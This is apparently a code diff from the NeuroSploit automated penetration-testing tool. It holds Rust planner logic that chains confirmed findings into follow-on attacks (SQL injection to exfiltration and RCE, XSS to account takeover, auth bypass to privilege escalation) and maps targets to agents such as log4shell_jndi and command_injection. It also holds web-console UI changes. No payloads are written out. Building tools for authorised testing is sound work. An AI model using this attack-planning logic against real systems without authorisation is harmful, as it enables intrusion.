rationale: "SQLi confirmed — chain to data exfiltration and RCE".into(),
|
||||
depends_on: vec![finding.id.clone()],
|
||||
asset_id: None,
|
||||
});
|
||||
}
|
||||
|
||||
// XSS → account takeover chain
|
||||
if content.contains("xss") || content.contains("cross-site scripting") {
|
||||
intents.push(PlannerIntent {
|
||||
id: format!("chain-xss-ato-{}", finding.id),
|
||||
action: IntentAction::Chain,
|
||||
target: extract_target_from_fact(&finding.content),
|
||||
agent_hint: "account_takeover_chain".to_string(),
|
||||
priority: 85,
|
||||
rationale: "XSS confirmed — chain to session hijack / account takeover".into(),
|
||||
depends_on: vec![finding.id.clone()],
|
||||
asset_id: None,
|
||||
});
|
||||
}
|
||||
|
||||
// Auth bypass → privilege escalation
|
||||
if content.contains("auth") && (content.contains("bypass") || content.contains("broken")) {
|
||||
intents.push(PlannerIntent {
|
||||
id: format!("chain-auth-privesc-{}", finding.id),
|
||||
action: IntentAction::Chain,
|
||||
target: extract_target_from_fact(&finding.content),
|
||||
agent_hint: "privilege_escalation".to_string(),
|
||||
priority: 92,
|
||||
rationale: "Auth bypass confirmed — chain to privilege escalation".into(),
|
||||
depends_on: vec![finding.id.clone()],
|
||||
asset_id: None,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
intents
|
||||
}
|
||||
|
||||
fn hint_intents(&self, graph: &DualGraph) -> Vec<PlannerIntent> {
|
||||
graph.exploration.unactioned_hints().iter()
|
||||
.take(5)
|
||||
.enumerate()
|
||||
.map(|(i, hint)| PlannerIntent {
|
||||
id: format!("hint-{}-{}", hint.id, i),
|
||||
action: IntentAction::Validate,
|
||||
target: extract_target_from_fact(&hint.content),
|
||||
agent_hint: suggest_agent_for_hint(&hint.content),
|
||||
priority: 50,
|
||||
rationale: format!("Hint worth investigating: {}", &hint.content[..hint.content.len().min(80)]),
|
||||
depends_on: vec![],
|
||||
asset_id: None,
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn retry_intents(&self, graph: &DualGraph) -> Vec<PlannerIntent> {
|
||||
let failed: Vec<_> = graph.exploration.nodes.iter()
|
||||
.filter(|n| n.kind == ExplorationKind::Intent && n.status == ExplorationStatus::Failed)
|
||||
.collect();
|
||||
|
||||
let mut intents = Vec::new();
|
||||
for node in failed.iter().take(5) {
|
||||
let retry_count = self.todo.items.iter()
|
||||
.filter(|i| i.intent.target == node.content && i.status == TodoStatus::Failed)
|
||||
.count() as u32;
|
||||
|
||||
if retry_count < self.config.max_retries {
|
||||
intents.push(PlannerIntent {
|
||||
id: format!("retry-{}-{}", node.id, retry_count + 1),
|
||||
action: IntentAction::Retry,
|
||||
target: extract_target_from_fact(&node.content),
|
||||
agent_hint: node.agent.clone(),
|
||||
priority: 40 - retry_count * 10,
|
||||
rationale: format!("Retry #{} after failure: {}", retry_count + 1,
|
||||
&node.content[..node.content.len().min(60)]),
|
||||
depends_on: vec![],
|
||||
asset_id: None,
|
||||
});
|
||||
}
|
||||
}
|
||||
intents
|
||||
}
|
||||
}
|
||||
|
||||
// ── Helpers ──
|
||||
|
||||
fn suggest_agent_for_endpoint(endpoint: &str) -> String {
|
||||
let lower = endpoint.to_lowercase();
|
||||
if lower.contains("login") || lower.contains("auth") || lower.contains("session") {
|
||||
"auth_bypass".to_string()
|
||||
} else if lower.contains("admin") || lower.contains("manage") {
|
||||
"forced_browsing".to_string()
|
||||
} else if lower.contains("upload") || lower.contains("file") {
|
||||
"file_upload".to_string()
|
||||
} else if lower.contains("api") || lower.contains("graphql") {
|
||||
"api_bola".to_string()
|
||||
} else if lower.contains("search") || lower.contains("query") || lower.contains("filter") {
|
||||
"sqli_union".to_string()
|
||||
} else if lower.contains("redirect") || lower.contains("url") || lower.contains("goto") {
|
||||
"open_redirect".to_string()
|
||||
} else {
|
||||
"generic_probe".to_string()
|
||||
}
|
||||
}
|
||||
|
||||
fn suggest_agent_for_hint(hint: &str) -> String {
|
||||
let lower = hint.to_lowercase();
|
||||
if lower.contains("xss") || lower.contains("reflect") { "xss_reflected".into() }
|
||||
else if lower.contains("sql") { "sqli_union".into() }
|
||||
else if lower.contains("ssrf") { "ssrf".into() }
|
||||
else if lower.contains("auth") { "auth_bypass".into() }
|
||||
else if lower.contains("idor") { "idor".into() }
|
||||
else { "generic_probe".into() }
|
||||
}
|
||||
|
||||
fn match_tech_agent(stack: &crate::adaptive::TargetStack) -> String {
|
||||
let lang = stack.language.to_lowercase();
|
||||
let fw = stack.framework.to_lowercase();
|
||||
if lang.contains("php") || fw.contains("laravel") { "ssti".into() }
|
||||
else if lang.contains("java") || fw.contains("spring") { "log4shell_jndi".into() }
|
||||
else if lang.contains("python") || fw.contains("django") || fw.contains("flask") { "ssti".into() }
|
||||
else if lang.contains("node") || fw.contains("express") { "server_side_prototype_pollution".into() }
|
||||
else { "command_injection".into() }
|
||||
}
|
||||
|
||||
fn extract_target_from_fact(content: &str) -> String {
|
||||
// Try to extract a URL or endpoint from the fact content
|
||||
for word in content.split_whitespace() {
|
||||
if word.starts_with("http://") || word.starts_with("https://") || word.starts_with('/') {
|
||||
return word.trim_end_matches([',', '.', ')', ']']).to_string();
|
||||
}
|
||||
}
|
||||
content.chars().take(100).collect()
|
||||
}
|
||||
|
||||
fn now() -> u64 {
|
||||
std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap_or_default()
|
||||
.as_secs()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_planner_coverage_intents() {
|
||||
let mut graph = DualGraph::new();
|
||||
graph.assets.upsert(AssetKind::Endpoint, "/api/users", BTreeMap::new(), "recon");
|
||||
graph.assets.upsert(AssetKind::Endpoint, "/api/admin", BTreeMap::new(), "recon");
|
||||
graph.exploration.version = 1;
|
||||
|
||||
let mut planner = Planner::new(PlannerConfig::default());
|
||||
let intents = planner.wake(&graph, &AdaptiveEngine::new());
|
||||
assert!(!intents.is_empty());
|
||||
assert!(intents.iter().all(|i| i.action == IntentAction::Probe));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_planner_chain_intents() {
|
||||
let mut graph = DualGraph::new();
|
||||
let goal = graph.exploration.add_goal("Test target", "planner");
|
||||
let intent = graph.exploration.add_intent("Test SQLi", &goal, "sqli_agent");
|
||||
graph.exploration.add_finding("SQL injection found in /api/users", &intent, "sqli_agent");
|
||||
|
||||
let mut planner = Planner::new(PlannerConfig::default());
|
||||
let intents = planner.wake(&graph, &AdaptiveEngine::new());
|
||||
assert!(intents.iter().any(|i| i.action == IntentAction::Chain));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_todolist_claim() {
|
||||
let mut planner = Planner::new(PlannerConfig::default());
|
||||
planner.todo.items.push(TodoItem {
|
||||
id: "test-1".into(),
|
||||
intent: PlannerIntent {
|
||||
id: "test-1".into(),
|
||||
action: IntentAction::Exploit,
|
||||
target: "/api/users".into(),
|
||||
agent_hint: "sqli".into(),
|
||||
priority: 80,
|
||||
rationale: "test".into(),
|
||||
depends_on: vec![],
|
||||
asset_id: None,
|
||||
},
|
||||
status: TodoStatus::Queued,
|
||||
created_at: 0,
|
||||
started_at: None,
|
||||
completed_at: None,
|
||||
assigned_agent: None,
|
||||
result: None,
|
||||
});
|
||||
let claimed = planner.claim("agent_1");
|
||||
assert!(claimed.is_some());
|
||||
assert_eq!(claimed.unwrap().id, "test-1");
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
+490
-41
@@ -1,5 +1,5 @@
|
||||
'use strict';
|
||||
/* NeuroSploit v4.4.0 — web console frontend. Vanilla JS, no build step. */
|
||||
/* NeuroSploit v4.4.1 — web console frontend. Vanilla JS, no build step. */
|
||||
|
||||
const $ = (sel, root = document) => root.querySelector(sel);
|
||||
const $$ = (sel, root = document) => Array.from(root.querySelectorAll(sel));
|
||||
@@ -73,6 +73,29 @@ function sevRank(sev) {
|
||||
function sevClass(sev) {
|
||||
return ['sev-critical', 'sev-high', 'sev-medium', 'sev-low', 'sev-info'][sevRank(sev)];
|
||||
}
|
||||
function renderSevProgressBar(targetEl, findings) {
|
||||
if (!targetEl || !findings?.length) { if (targetEl) targetEl.hidden = true; return; }
|
||||
const counts = { critical: 0, high: 0, medium: 0, low: 0, info: 0 };
|
||||
for (const f of findings) {
|
||||
const r = sevRank(f.severity);
|
||||
if (r === 0) counts.critical++;
|
||||
else if (r === 1) counts.high++;
|
||||
else if (r === 2) counts.medium++;
|
||||
else if (r === 3) counts.low++;
|
||||
else counts.info++;
|
||||
}
|
||||
const total = findings.length;
|
||||
const segs = ['critical', 'high', 'medium', 'low', 'info']
|
||||
.filter(s => counts[s] > 0)
|
||||
.map(s => `<div class="sev-progress-seg seg-${s}" style="width:${(counts[s] / total * 100).toFixed(1)}%"></div>`)
|
||||
.join('');
|
||||
const legend = ['critical', 'high', 'medium', 'low', 'info']
|
||||
.filter(s => counts[s] > 0)
|
||||
.map(s => `<span class="sev-progress-legend-item"><span class="spl-dot" style="background:var(--sev-${s}-fg)"></span><span class="spl-count">${counts[s]}</span> ${s}</span>`)
|
||||
.join('');
|
||||
targetEl.innerHTML = `<div class="sev-progress">${segs}</div><div class="sev-progress-legend">${legend}</div>`;
|
||||
targetEl.hidden = false;
|
||||
}
|
||||
function show(el, on) { if (el) el.hidden = !on; }
|
||||
|
||||
// Failures used to surface through `alert()`, which blocks the page and hides
|
||||
@@ -102,7 +125,7 @@ function clearFieldErrors() { $$('.field-error').forEach((el) => { el.textConten
|
||||
// view navigation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const ALL_VIEWS = ['dashView','wizardView','liveView','detailView','pentestsView','prreviewsView','issuesView','reposView','domainsView','networksView','vaultView','guardrailsView','integrationsView','settingsView'];
|
||||
const ALL_VIEWS = ['homeView','dashView','wizardView','liveView','detailView','pentestsView','prreviewsView','issuesView','reposView','domainsView','networksView','vaultView','guardrailsView','integrationsView','settingsView'];
|
||||
|
||||
function switchView(viewName) {
|
||||
state.activeView = viewName;
|
||||
@@ -125,6 +148,7 @@ function switchView(viewName) {
|
||||
if (viewName === 'vault') loadVault();
|
||||
if (viewName === 'guardrails') loadGuardrails();
|
||||
if (viewName === 'dash') renderDashboard();
|
||||
if (viewName === 'home') renderHome();
|
||||
}
|
||||
|
||||
function timeAgo(ts) {
|
||||
@@ -146,8 +170,10 @@ function timeAgo(ts) {
|
||||
|
||||
function applyTheme() {
|
||||
document.documentElement.setAttribute('data-theme', state.theme);
|
||||
$('#btnThemeToggle').textContent = state.theme === 'dark' ? '☀' : '☾';
|
||||
$('#btnThemeToggle').title = state.theme === 'dark' ? 'Switch to light theme' : 'Switch to dark theme';
|
||||
$('#btnThemeToggle').innerHTML = state.theme === 'dark' ? '<svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="12" cy="12" r="4"/><path d="M12 2.5v2M12 19.5v2M2.5 12h2M19.5 12h2M5.3 5.3l1.4 1.4M17.3 17.3l1.4 1.4M5.3 18.7l1.4-1.4M17.3 6.7l1.4-1.4"/></svg>' : '<svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M20 14.5A8 8 0 0 1 9.5 4a8 8 0 1 0 10.5 10.5z"/></svg>';
|
||||
const themeLabel = state.theme === 'dark' ? 'Switch to light theme' : 'Switch to dark theme';
|
||||
$('#btnThemeToggle').title = themeLabel;
|
||||
$('#btnThemeToggle').setAttribute('aria-label', themeLabel);
|
||||
// xterm paints into a canvas and doesn't inherit CSS variables — it has to
|
||||
// be told the palette changed.
|
||||
if (term.xterm) term.xterm.options.theme = termColors();
|
||||
@@ -732,6 +758,8 @@ function bindRunTabs(scopeEl) {
|
||||
bindRunTabs($('#liveView'));
|
||||
bindRunTabs($('#detailView'));
|
||||
|
||||
$('#coverageSearch')?.addEventListener('input', () => renderCoverageTab());
|
||||
|
||||
const ACTIVE_JOB_KEY = 'ns-active-job';
|
||||
|
||||
function attachLiveJob(id, target, name, pinnedAgents) {
|
||||
@@ -773,6 +801,10 @@ function attachLiveJob(id, target, name, pinnedAgents) {
|
||||
es.addEventListener('log', (e) => appendLog(JSON.parse(e.data).line));
|
||||
es.addEventListener('finding', (e) => addFinding(JSON.parse(e.data).finding));
|
||||
es.addEventListener('agent', (e) => { const a = JSON.parse(e.data); if (state.currentJob) { (state.currentJob.agentStatus ||= {})[a.name] = { status: a.status, found: a.found || 0 }; renderAgentPanel(state.currentJob.agentStatus); } });
|
||||
es.addEventListener('adaptive', (e) => updateAdaptiveTab(JSON.parse(e.data)));
|
||||
es.addEventListener('graph', (e) => updateGraphTab(JSON.parse(e.data)));
|
||||
es.addEventListener('planner', (e) => updatePlannerTab(JSON.parse(e.data)));
|
||||
es.addEventListener('noise', (e) => updateNoiseTab(JSON.parse(e.data)));
|
||||
es.addEventListener('snapshot', (e) => applySnapshot(JSON.parse(e.data)));
|
||||
es.addEventListener('done', (e) => {
|
||||
applySnapshot(JSON.parse(e.data));
|
||||
@@ -852,9 +884,9 @@ function appendLog(line) {
|
||||
const list = $('#logList');
|
||||
list.appendChild(div);
|
||||
list.scrollTop = list.scrollHeight;
|
||||
// When the terminal is attached to this engagement it is the same stream —
|
||||
// mirror it there so the operator types and reads in one place.
|
||||
if (term.mode === 'job' && term.xterm) termWrite(line + '\r\n');
|
||||
const dot = $('#activityTabDot');
|
||||
if (dot) { dot.classList.add('live'); clearTimeout(dot._t); dot._t = setTimeout(() => dot.classList.remove('live'), 3000); }
|
||||
}
|
||||
|
||||
// Only run/whitebox/greybox jobs are REPL-backed (interactive: true) — the
|
||||
@@ -1014,6 +1046,89 @@ bindFindingTableClicks('#detailFindingsTable tbody', () => state.detailFindings
|
||||
function addFinding(f) {
|
||||
state.currentJob.findings.push(f);
|
||||
renderFindings('live');
|
||||
renderCoverageTab();
|
||||
renderSevProgressBar($('#liveSevBar'), state.currentJob?.findings);
|
||||
}
|
||||
|
||||
function renderCoverageTab() {
|
||||
const list = $('#coverageList');
|
||||
const stats = $('#coverageStats');
|
||||
const empty = $('#coverageEmpty');
|
||||
const search = $('#coverageSearch');
|
||||
if (!list) return;
|
||||
const findings = state.currentJob?.findings || [];
|
||||
const endpoints = new Map();
|
||||
for (const f of findings) {
|
||||
const ep = (f.endpoint || '').trim();
|
||||
if (!ep) continue;
|
||||
const atk = f.evidence_data?.attack;
|
||||
const method = (atk?.method || f.method || 'GET').toUpperCase();
|
||||
const status = atk?.status || 0;
|
||||
const key = `${method} ${ep}`;
|
||||
if (!endpoints.has(key)) {
|
||||
endpoints.set(key, { method, path: ep, status, findings: [], severities: new Set() });
|
||||
}
|
||||
const entry = endpoints.get(key);
|
||||
entry.findings.push(f);
|
||||
entry.severities.add(f.severity);
|
||||
}
|
||||
const agentStatus = state.currentJob?.agentStatus || {};
|
||||
const agentNames = Object.keys(agentStatus);
|
||||
const tested = endpoints.size;
|
||||
const withFindings = [...endpoints.values()].filter(e => e.findings.length > 0).length;
|
||||
|
||||
if (!tested && !agentNames.length) { list.innerHTML = ''; if (empty) empty.hidden = false; return; }
|
||||
if (empty) empty.hidden = true;
|
||||
|
||||
if (stats) {
|
||||
stats.innerHTML = `
|
||||
<div class="at-stat"><span class="at-stat-k">Endpoints</span><span class="at-stat-v">${tested}</span></div>
|
||||
<div class="at-stat"><span class="at-stat-k">With findings</span><span class="at-stat-v" style="color:var(--sev-high-fg)">${withFindings}</span></div>
|
||||
<div class="at-stat"><span class="at-stat-k">Clean</span><span class="at-stat-v" style="color:var(--sev-info-fg)">${tested - withFindings}</span></div>
|
||||
`;
|
||||
}
|
||||
|
||||
const pillsEl = $('#coveragePills');
|
||||
if (pillsEl) {
|
||||
const all = [...endpoints.values()];
|
||||
const reported = all.filter(e => e.findings.length > 0).length;
|
||||
const clean = all.filter(e => e.findings.length === 0).length;
|
||||
pillsEl.innerHTML = `
|
||||
<button class="cv-pill${!state.coverageFilter ? ' active' : ''}" data-cv-filter="">All <span class="cv-pill-count">${tested}</span></button>
|
||||
<button class="cv-pill${state.coverageFilter === 'reported' ? ' active' : ''}" data-cv-filter="reported">Reported <span class="cv-pill-count">${reported}</span></button>
|
||||
<button class="cv-pill${state.coverageFilter === 'clean' ? ' active' : ''}" data-cv-filter="clean">No issue found <span class="cv-pill-count">${clean}</span></button>
|
||||
<span class="cv-progress-label">${reported + clean} of ${tested} checked</span>
|
||||
`;
|
||||
$$('.cv-pill', pillsEl).forEach(pill => {
|
||||
pill.addEventListener('click', () => {
|
||||
$$('.cv-pill', pillsEl).forEach(p => p.classList.remove('active'));
|
||||
pill.classList.add('active');
|
||||
state.coverageFilter = pill.dataset.cvFilter || '';
|
||||
renderCoverageTab();
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
const q = (search?.value || '').toLowerCase();
|
||||
let rows = [...endpoints.values()];
|
||||
const cvFilter = state.coverageFilter || '';
|
||||
if (cvFilter === 'reported') rows = rows.filter(e => e.findings.length > 0);
|
||||
else if (cvFilter === 'clean') rows = rows.filter(e => e.findings.length === 0);
|
||||
if (q) rows = rows.filter(e => `${e.method} ${e.path}`.toLowerCase().includes(q));
|
||||
rows.sort((a, b) => b.findings.length - a.findings.length || a.path.localeCompare(b.path));
|
||||
|
||||
list.innerHTML = rows.map(e => {
|
||||
const badge = e.findings.length ? 'found' : 'tested';
|
||||
const statusCls = e.status >= 500 ? 's-5' : e.status >= 400 ? 's-4' : e.status >= 300 ? 's-3' : e.status >= 200 ? 's-2' : '';
|
||||
return `<div class="cv-row">
|
||||
<span class="cv-method m-${e.method.toLowerCase()}">${esc(e.method)}</span>
|
||||
<span class="cv-path">${esc(e.path)}</span>
|
||||
${e.status ? `<span class="cv-status-code ${statusCls}">${e.status}</span>` : ''}
|
||||
<span class="cv-status-badge ${badge}">${e.findings.length ? `${e.findings.length} finding(s)` : 'tested'}</span>
|
||||
</div>`;
|
||||
}).join('');
|
||||
const dot = $('#coverageTabDot');
|
||||
if (dot) dot.classList.toggle('live', rows.some(e => e.findings.length > 0));
|
||||
}
|
||||
|
||||
// Live "what's being tested" grid: one chip per agent, coloured by status.
|
||||
@@ -1024,7 +1139,6 @@ function renderAgentPanel(statusMap) {
|
||||
const entries = Object.entries(statusMap || {});
|
||||
if (!entries.length) { panel.hidden = true; return; }
|
||||
panel.hidden = false;
|
||||
// Order: running first, then found, then pending, then done, then failed.
|
||||
const rank = (s, found) => s === 'running' ? 0 : (s === 'done' && found > 0) ? 1 : s === 'pending' ? 2 : s === 'done' ? 3 : 4;
|
||||
entries.sort((a, b) => rank(a[1].status, a[1].found) - rank(b[1].status, b[1].found) || a[0].localeCompare(b[0]));
|
||||
const cls = (s, found) => s === 'running' ? 'running' : s === 'failed' ? 'failed' : (s === 'done' && found > 0) ? 'found' : s === 'done' ? 'done' : 'pending';
|
||||
@@ -1033,6 +1147,46 @@ function renderAgentPanel(statusMap) {
|
||||
const done = entries.filter(([, s]) => s.status === 'done' || s.status === 'failed').length;
|
||||
const run = entries.filter(([, s]) => s.status === 'running').length;
|
||||
$('#agentPanel .agent-panel-head > span').textContent = `What's being tested — ${run} running · ${done}/${entries.length} done`;
|
||||
renderAgentsTab(statusMap);
|
||||
const countEl = $('#liveAgentsCount');
|
||||
if (countEl) countEl.textContent = entries.length;
|
||||
const dot = $('#agentsTabDot');
|
||||
if (dot) dot.classList.toggle('live', run > 0);
|
||||
}
|
||||
|
||||
function renderAgentsTab(statusMap) {
|
||||
const grid = $('#agentsTabGrid');
|
||||
const stats = $('#agentsTabStats');
|
||||
const empty = $('#agentsTabEmpty');
|
||||
if (!grid) return;
|
||||
const entries = Object.entries(statusMap || {});
|
||||
if (!entries.length) { grid.innerHTML = ''; if (empty) empty.hidden = false; return; }
|
||||
if (empty) empty.hidden = true;
|
||||
const rank = (s, found) => s === 'running' ? 0 : (s === 'done' && found > 0) ? 1 : s === 'pending' ? 2 : s === 'done' ? 3 : 4;
|
||||
entries.sort((a, b) => rank(a[1].status, a[1].found) - rank(b[1].status, b[1].found) || a[0].localeCompare(b[0]));
|
||||
const cls = (s, found) => s === 'running' ? 'running' : s === 'failed' ? 'failed' : (s === 'done' && found > 0) ? 'found' : s === 'done' ? 'done' : 'pending';
|
||||
const running = entries.filter(([, s]) => s.status === 'running').length;
|
||||
const done = entries.filter(([, s]) => s.status === 'done' || s.status === 'failed').length;
|
||||
const found = entries.reduce((a, [, s]) => a + (s.found || 0), 0);
|
||||
const failed = entries.filter(([, s]) => s.status === 'failed').length;
|
||||
if (stats) {
|
||||
stats.innerHTML = `
|
||||
<div class="at-stat"><span class="at-stat-k">Total</span><span class="at-stat-v">${entries.length}</span></div>
|
||||
<div class="at-stat"><span class="at-stat-k">Running</span><span class="at-stat-v" style="color:var(--accent)">${running}</span></div>
|
||||
<div class="at-stat"><span class="at-stat-k">Done</span><span class="at-stat-v">${done}</span></div>
|
||||
<div class="at-stat"><span class="at-stat-k">Findings</span><span class="at-stat-v" style="color:var(--sev-high-fg)">${found}</span></div>
|
||||
${failed ? `<div class="at-stat"><span class="at-stat-k">Errors</span><span class="at-stat-v" style="color:var(--sev-critical-fg)">${failed}</span></div>` : ''}
|
||||
`;
|
||||
}
|
||||
grid.innerHTML = entries.map(([name, st]) => {
|
||||
const c = cls(st.status, st.found);
|
||||
return `<div class="at-card">
|
||||
<span class="at-card-status ${c}"></span>
|
||||
<span class="at-card-name ${c}">${esc(name)}</span>
|
||||
<span class="at-card-state ${c}">${esc(st.status)}</span>
|
||||
${st.found ? `<span class="at-card-findings">${st.found}</span>` : ''}
|
||||
</div>`;
|
||||
}).join('');
|
||||
}
|
||||
|
||||
function applySnapshot(snap) {
|
||||
@@ -1196,15 +1350,43 @@ function openFindingModal(f, pocs, runId) {
|
||||
$('#fmSev').textContent = f.severity || 'info';
|
||||
$('#fmTitle').textContent = f.title || '(untitled finding)';
|
||||
|
||||
const meta = [
|
||||
['CWE', f.cwe], ['CVSS', f.cvss], ['OWASP', f.owasp], ['MITRE', f.mitre],
|
||||
['Stage', f.stage], ['Exploitability', f.exploitability],
|
||||
['Confidence', f.confidence ? f.confidence.toFixed(2) : ''], ['Votes', f.votes],
|
||||
['Review status', f.review_status], ['Auth context', f.auth_context],
|
||||
['Account', f.account], ['Agent', f.agent],
|
||||
const cvssRaw = String(f.cvss || '');
|
||||
const cvssScore = cvssRaw.match(/[\d.]+/)?.[0] || '';
|
||||
const cvssVector = cvssRaw.match(/\(CVSS[^)]*\)/)?.[0] || '';
|
||||
const cvssVal = parseFloat(cvssScore) || 0;
|
||||
const cvssClass = cvssVal >= 7 ? 'fm-cvss-high' : cvssVal >= 4 ? 'fm-cvss-med' : 'fm-cvss-low';
|
||||
const method = (f.evidence_data?.attack?.method || f.method || '').toUpperCase();
|
||||
const endpoint = f.endpoint || '';
|
||||
const endpointHtml = endpoint
|
||||
? `<div class="fm-endpoint-badge">${method ? `<span class="fm-endpoint-method m-${method.toLowerCase()}">${esc(method)}</span>` : ''}<span class="fm-endpoint-path">${esc(endpoint)}</span></div>`
|
||||
: '<span class="fm-meta-value">—</span>';
|
||||
const cvssHtml = cvssScore
|
||||
? `<span class="fm-meta-value fm-cvss ${cvssClass}">${esc(cvssScore)}</span>${cvssVector ? `<span class="fm-cvss-vector">${esc(cvssVector)}</span>` : ''}`
|
||||
: '<span class="fm-meta-value">—</span>';
|
||||
const metaCells = [
|
||||
{ label: 'CVSS', value: cvssHtml, raw: true },
|
||||
{ label: 'CWE', value: f.cwe },
|
||||
{ label: 'Endpoint', value: endpointHtml, raw: true },
|
||||
{ label: 'Confidence', value: f.confidence ? f.confidence.toFixed(2) : '' },
|
||||
{ label: 'Stage', value: f.stage },
|
||||
{ label: 'Review status', value: f.review_status },
|
||||
{ label: 'Agent', value: f.agent },
|
||||
{ label: 'Votes', value: f.votes },
|
||||
];
|
||||
$('#fmMeta').innerHTML = meta.map(([k, v]) =>
|
||||
`<div class="review-item"><div class="k">${esc(k)}</div><div class="v mono">${esc(v || '—')}</div></div>`).join('');
|
||||
$('#fmMeta').innerHTML = metaCells.map(c =>
|
||||
`<div class="fm-meta-cell"><div class="fm-meta-label">${esc(c.label)}</div>${c.raw ? c.value : `<span class="fm-meta-value">${esc(c.value || '—')}</span>`}</div>`).join('');
|
||||
|
||||
const actionsEl = $('#fmActions');
|
||||
if (actionsEl) {
|
||||
actionsEl.innerHTML = `
|
||||
<button class="fm-action-btn" data-action="copy-md" title="Copy finding as Markdown">📋 Copy as Markdown</button>
|
||||
<button class="fm-action-btn" data-action="retest" title="Re-test this finding">⟳ Retest</button>
|
||||
`;
|
||||
actionsEl.querySelector('[data-action="copy-md"]')?.addEventListener('click', () => {
|
||||
const md = `## ${f.severity} — ${f.title}\n\n**CVSS:** ${cvssScore || '—'} ${cvssVector} | **CWE:** ${f.cwe || '—'}\n**Endpoint:** ${method} ${endpoint}\n\n${f.impact || f.evidence || ''}\n\n### Remediation\n${f.remediation || '—'}`;
|
||||
navigator.clipboard.writeText(md).then(() => toast('Finding copied as Markdown'));
|
||||
});
|
||||
}
|
||||
|
||||
// The report footer ("Identified and validated by NeuroSploit...") gets
|
||||
// baked into impact/business_impact by the reporter — strip it from every
|
||||
@@ -1815,6 +1997,18 @@ async function loadDetail(id) {
|
||||
reportLink.href = `/api/runs/${encodeURIComponent(id)}/asset/report.html`;
|
||||
show(reportLink, true);
|
||||
} else show(reportLink, false);
|
||||
const reportNav = $('#detailReportNav');
|
||||
if (reportNav) {
|
||||
if (detail.assets.includes('report.html')) {
|
||||
const reportUrl = `/api/runs/${encodeURIComponent(id)}/asset/report.html`;
|
||||
reportNav.innerHTML = `<div class="run-report-nav-title">Report sections</div>
|
||||
<a href="${reportUrl}#executive-summary" target="_blank">Executive summary</a>
|
||||
<a href="${reportUrl}#technical-analysis" target="_blank">Technical analysis</a>
|
||||
<a href="${reportUrl}#methodology" target="_blank">Methodology</a>
|
||||
<a href="${reportUrl}#recommendations" target="_blank">Recommendations</a>`;
|
||||
reportNav.hidden = false;
|
||||
} else { reportNav.hidden = true; }
|
||||
}
|
||||
// The PDF is produced by the harness (Typst) when that binary is present, so
|
||||
// it is offered only when it actually exists — a dead download button is
|
||||
// worse than none.
|
||||
@@ -1832,10 +2026,97 @@ async function loadDetail(id) {
|
||||
show(pdfLink, true);
|
||||
} else show(pdfLink, false);
|
||||
afterDetailLoaded(id, detail);
|
||||
renderDetailAgents(detail);
|
||||
renderDetailCoverage(detail);
|
||||
renderSevProgressBar($('#detailSevBar'), detail.findings);
|
||||
if (token !== state.detailToken) return;
|
||||
if (detail.status?.state === 'running') state.detailPoll = setInterval(() => loadDetail(id), 4000);
|
||||
}
|
||||
|
||||
function renderDetailAgents(detail) {
|
||||
const grid = $('#detailAgentsGrid');
|
||||
const stats = $('#detailAgentsStats');
|
||||
const empty = $('#detailAgentsEmpty');
|
||||
const countEl = $('#detailAgentsCount');
|
||||
if (!grid) return;
|
||||
const agentMap = {};
|
||||
for (const f of (detail.findings || [])) {
|
||||
const name = f.agent || 'unknown';
|
||||
if (!agentMap[name]) agentMap[name] = { status: 'done', found: 0 };
|
||||
agentMap[name].found++;
|
||||
}
|
||||
const totalRan = detail.status?.agents_ran || Object.keys(agentMap).length;
|
||||
if (countEl) countEl.textContent = totalRan;
|
||||
const entries = Object.entries(agentMap);
|
||||
if (!entries.length) { grid.innerHTML = ''; if (empty) empty.hidden = false; return; }
|
||||
if (empty) empty.hidden = true;
|
||||
entries.sort((a, b) => b[1].found - a[1].found || a[0].localeCompare(b[0]));
|
||||
if (stats) {
|
||||
stats.innerHTML = `
|
||||
<div class="at-stat"><span class="at-stat-k">Total ran</span><span class="at-stat-v">${totalRan}</span></div>
|
||||
<div class="at-stat"><span class="at-stat-k">With findings</span><span class="at-stat-v" style="color:var(--sev-high-fg)">${entries.filter(([,s]) => s.found > 0).length}</span></div>
|
||||
<div class="at-stat"><span class="at-stat-k">Total findings</span><span class="at-stat-v">${entries.reduce((a,[,s]) => a + s.found, 0)}</span></div>
|
||||
`;
|
||||
}
|
||||
grid.innerHTML = entries.map(([name, st]) =>
|
||||
`<div class="at-card">
|
||||
<span class="at-card-status ${st.found > 0 ? 'found' : 'done'}"></span>
|
||||
<span class="at-card-name">${esc(name)}</span>
|
||||
<span class="at-card-state done">done</span>
|
||||
${st.found ? `<span class="at-card-findings">${st.found}</span>` : ''}
|
||||
</div>`
|
||||
).join('');
|
||||
}
|
||||
|
||||
function renderDetailCoverage(detail) {
|
||||
const list = $('#detailCoverageList');
|
||||
const stats = $('#detailCoverageStats');
|
||||
const empty = $('#detailCoverageEmpty');
|
||||
const search = $('#detailCoverageSearch');
|
||||
if (!list) return;
|
||||
const findings = detail.findings || [];
|
||||
const endpoints = new Map();
|
||||
for (const f of findings) {
|
||||
const ep = (f.endpoint || '').trim();
|
||||
if (!ep) continue;
|
||||
const atk = f.evidence_data?.attack;
|
||||
const method = (atk?.method || f.method || 'GET').toUpperCase();
|
||||
const status = atk?.status || 0;
|
||||
const key = `${method} ${ep}`;
|
||||
if (!endpoints.has(key)) endpoints.set(key, { method, path: ep, status, findings: [] });
|
||||
endpoints.get(key).findings.push(f);
|
||||
}
|
||||
const tested = endpoints.size;
|
||||
const withFindings = [...endpoints.values()].filter(e => e.findings.length > 0).length;
|
||||
if (!tested) { list.innerHTML = ''; if (empty) empty.hidden = false; return; }
|
||||
if (empty) empty.hidden = true;
|
||||
if (stats) {
|
||||
stats.innerHTML = `
|
||||
<div class="at-stat"><span class="at-stat-k">Endpoints</span><span class="at-stat-v">${tested}</span></div>
|
||||
